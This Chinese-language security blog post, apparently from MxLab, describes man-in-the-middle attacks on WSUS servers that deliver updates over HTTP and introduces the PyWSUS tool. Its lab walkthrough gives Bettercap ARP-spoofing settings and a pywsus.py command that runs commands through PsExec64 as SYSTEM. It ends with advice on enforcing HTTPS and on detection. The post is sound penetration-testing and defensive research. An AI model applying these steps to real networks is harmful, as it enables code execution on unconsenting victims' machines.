“
在过去的几年里,我们发现许多组织的Windows Server Update Services(WSUS)部署都很脆弱,但没有工具可以向客户端表明该漏洞的风险。出于这些原因,在接下来的文章系列中,我们将描述该漏洞,探索其攻击媒介,并发布新工具来对该漏洞进行武器化,然后证明其影响。
”
攻击配置有误的WSUS
2015年,Alex Chapman和Paul Stone发布了POC工具,可在执行中间人攻击(MITMA)时攻击Windows更新,这在BlackHat的“ WSUSpect –通过Windows 更新攻击Windows 企业版”的演讲里有说过,其介绍了第一次攻击。本节将会概述攻击。
WSUS能让组织中的系统管理员集中管理Microsoft向一组系统发布的更新和修补程序的分发。攻击是靠滥用WSUS的默认配置:在首次配置服务时,没有强制使用HTTPS,如图1所示。
(图1 –在WSUS中启用SSL属于“下一步(Next Step)”的选择内容)
在正常操作模式下,WSUS服务器以Microsoft签名的更新文件的形式让客户端更新,如官方Microsoft文档所述:
WSUS仅将SSL用于元数据,不用于更新文件。这和Microsoft Update分发更新的方式相同。Microsoft通过对每个更新进行签名来降低通过未加密的通道发送更新文件的风险。另外,每次更新都要计算哈希,并将其与元数据一起发送。下载更新后,WSUS会检查数字签名和哈希。如果已经更改更新,则未安装。
尽管WSUS更新中的二进制文件需要由Microsoft签名,但缺乏HTTPS强制执行。依靠HTTP会导致在更新服务器时受到MITM攻击,恶意更新元数据会由此注入。该元数据是未签名的,也就是说没有可以防止篡改的完整性保护。
例如,配置设为从WSUS服务器获取其更新的计算机会在开始时执行以下握手:
(图2 –示例3:与更新客户端的初始更新同步–
客户端和服务器之间的所有元数据交换都是用简单对象访问协议(SOAP)完成的。在未加密的HTTP通道上传输不完整的SOAP调用,执行MITM攻击的攻击者可以篡改对SOAP请求“ SyncUpdates(软件) ”和“ GetExtendedUpdateInfo ”的响应。
首先,可以注入新的更新。其次,在获取与此新更新关联的信息时,URL参数把客户端指向要下载的更新文件:
(图3 – GetExtendedUpdateInfo)
修改URL的参数,可以让WSUS客户端重新指向将要下载的恶意二进制文件。但是,客户端只会执行带有有效Microsoft签名的二进制文件,所有不会用这个步骤来执行恶意文件。
幸好,“ CommandLineInstallation”处理程序指定了其他参数,在更新安装过程中传递二进制文件。但不对这些参数进行完整性检查的话,就很容易对其进行篡改。所以,在一次虚伪更新时,可以用Microsoft签名的二进制文件(例如PsExec64或bginfo)在带有“ NT AUTHORITY \ SYSTEM”特权的客户端执行命令:
(图4 – CommandLineInstallation)
在上面展示的WSUS响应中,PsExec64.exe被标为“更新”,它告诉客户端用参数安装更新,这样的就可以调用和执行恶意命令cmd.exe。
经验丰富的渗透人员知道有一组Windows签名工具,叫做“Living off the Land”二进制文件,可以用来下载和执行有效载荷。
但是,如博客文章开头所述,暴露这个漏洞不足以证明它对组织的影响。这是因为WSUSpect-proxy已经很久没更新了,无法在Windows 10起作用。此外,虽然有替代方案,但它们要么被破坏了,要么只能用于不同的攻击场景。
引入PyWSUS
在内部渗透测试期间,我们遇到了许多不安全的WSUS部署。实际上,超过98%的时间,WSUS都被配置为用HTTP。
通常,由于缺乏公共漏洞利用,组织通常不会修复此问题,所以会被报告为中低风险(遵循CVSS 3.1)。
为了证明对这种观察的影响,我们开发了一个叫PyWSUS的工具,该工具可以执行和WSUSpect-Proxy相当的攻击,甚至更多。
该工具的主要目标是用来实现合法的WSUS的操作,该服务器向客户端发送恶意响应。本用其他专用工具来完成MITM攻击,例如Bettercap。
Usage: pywsus.py [-h] -H HOST [-p PORT] -c COMMAND -e EXECUTABLE [-v]
为什么用新工具而不是派生WSUSpect-Proxy?
PyWSUS的主要设计差异是它不用于拦截。与WSUSpect-Proxy不同,我们的工具充当合法的WSUS服务器,实现部分协议通信。PyWSUS的目标不仅是在远程主机上执行代码,而且还为研究人员提供一种灵活的工具来利用WSUS的功能。例如,利用恶意的WSUS服务器来卸载之前安装的补丁,我们打算使用这个新工具来探索后渗透利。
攻击实例
在这种攻击场景下,我们用Bettercap发起APR攻击来欺骗受害者,拦截更新请求,注入恶意WSUS更新响应。此更新将提供PsExec有效载荷,运行任意代码。下面会有一个视频演示这种情况。
以下是该演示的网络IP地址:
•受害者:172.16.205.20
•攻击者:172.16.205.21
需要通过以下方式配置Bettercap:
1. ARP把受害者骗到MITM流量
a. 设定arp.spoof.指向 172.16.205.20
b. arp.spoof on
2.把所有从端口8530传入的流量重新指向PyWSUS实例
a. 设置any.proxy.src_port 8530
b. 设置any.proxy.dst_port 8530
c. 设置any.proxy.dst_address
172.16.205.21
最后,运行PyWSUS的实例,通过PsExec提供捆绑更新:
python pywsus.py -H 172.16.205.21 -p 8530 -e PsExec64.exe -c ‘/accepteula /s cmd.exe /c “echo wsus.poc > C:\\poc.txt”‘
下次,受害者的主机执行WSUS“ SyncUpdates”操作时,PyWSUS实例会用恶意更新进行回复。
示例
进一步完善
从我们的角度来看,避免这种漏洞利用的最佳方法是强制WSUS部署使用安全的HTTPS通道。
WSUS服务器提供的证书必须由客户端验证。验证证书时出错将导致wupdate客户端关闭连接。
以下是给WSUS服务器生成证书的三种主要方法:
使用内部PKI,在域计算机上为其部署了根CA证书,用由该根CA签名的证书来提供WSUS更新。
购买Windows OS信任库中受信任的第三方CA机构签名的证书。
使用自签名证书,用GPO在所有域计算机上推送此证书的副本。
在检测方面,注册有WSUS的客户端会定期报告其已安装的更新清单。寻找获得批准和部署好的已安装更新,可以检测此类攻击。
结论
在本文中,由于Microsoft的默认配置已过时,大多数WSUS部署容易受到恶意更新的注入。2015年发布的工具不再起作用,我们创建了一个新工具,能让我们证明这种漏洞对组织的影响。我们还注意到,无论在进攻方面还是在侦查方面,都需要对WSUS进行更多的研究。在下一篇博客中,我们会把WSUS和其他bug结合,来获得更有趣的结果。敬请关注!
木星安全实验室(MxLab),由中国网安·广州三零卫士成立,汇聚国内多名安全专家和反间谍专家组建而成,深耕工控安全、IoT安全、红队评估、反间谍、数据保护、APT分析等高级安全领域,木星安全实验室坚持在反间谍和业务安全的领域进行探索和研究。